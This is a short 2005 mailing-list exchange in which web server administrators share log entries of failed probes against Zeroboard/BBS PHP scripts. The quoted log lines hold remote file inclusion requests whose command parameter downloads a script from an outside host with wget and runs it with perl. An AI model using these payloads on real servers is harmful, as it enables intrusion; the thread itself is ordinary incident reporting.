[Xitami] Hacking attempt

[Alex Barna]

Hi Ron,
I started getting cracker attacks like that from the same Hong Kong  ISP 
a few weeks ago.
 I downloaded, but have not installed PHP-BBS so they just got a 404.
Now I'm not sure I should install a BBS.

Alex,

Ron Ackerman wrote:

>  Hi Guys,
>
>  I think that I have had some hacking attempts but fortunatly NOT
>  successful. Here is the log entry
>
>  210.17.189.156 - - [08/Mar/2005:09:25:15 -0500] "GET
> 
/zboard/include/write.php?dir=http://www.freewebs.com/defacements/cmd?&cmd=c
>  d%20/tmp;wget%20xhack.150m.com/https;perl%20https;pwd HTTP/1.1" 404
>  -1 "" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 210.17.189.156
>  - - [08/Mar/2005:09:25:16 -0500] "GET
> 
/bbs/skin/zero_vote/error.php?dir=http://www.derf.hpgvip.ig.com.br/newcmd.gi
>  f?&cmd=cd%20/tmp;wget%20xhack.150m.com/https;perl%20https;pwd
>  HTTP/1.1" 404 -1 "" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
>  210.17.189.156 - - [08/Mar/2005:09:25:17 -0500] "GET
> 
/board/skin/zero_vote/error.php?dir=http://www.derf.hpgvip.ig.com.br/newcmd.
>  gif?&cmd=cd%20/tmp;wget%20xhack.150m.com/https;perl%20https;pwd
>  HTTP/1.1" 404 -1 "" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
>  210.17.189.156 - - [08/Mar/2005:09:25:17 -0500] "GET
> 
/zboard/skin/zero_vote/error.php?dir=http://www.derf.hpgvip.ig.com.br/newcmd
>  .gif?&cmd=cd%20/tmp;wget%20xhack.150m.com/https;perl%20https;pwd
>  HTTP/1.1" 404 -1 "" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
>  210.17.189.156 - - [08/Mar/2005:09:25:18 -0500] "GET
> 
/zeroboard/skin/zero_vote/error.php?dir=http://www.derf.hpgvip.ig.com.br/new
>  cmd.gif?&cmd=cd%20/tmp;wget%20xhack.150m.com/https;perl%20https;pwd
>  HTTP/1.1" 404 -1 "" "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"
>  1 -- No virus found in this outgoing message. Checked by AVG
>  Anti-Virus. Version: 7.0.308 / Virus Database: 266.6.2 - Release
>  Date: 03/04/2005

--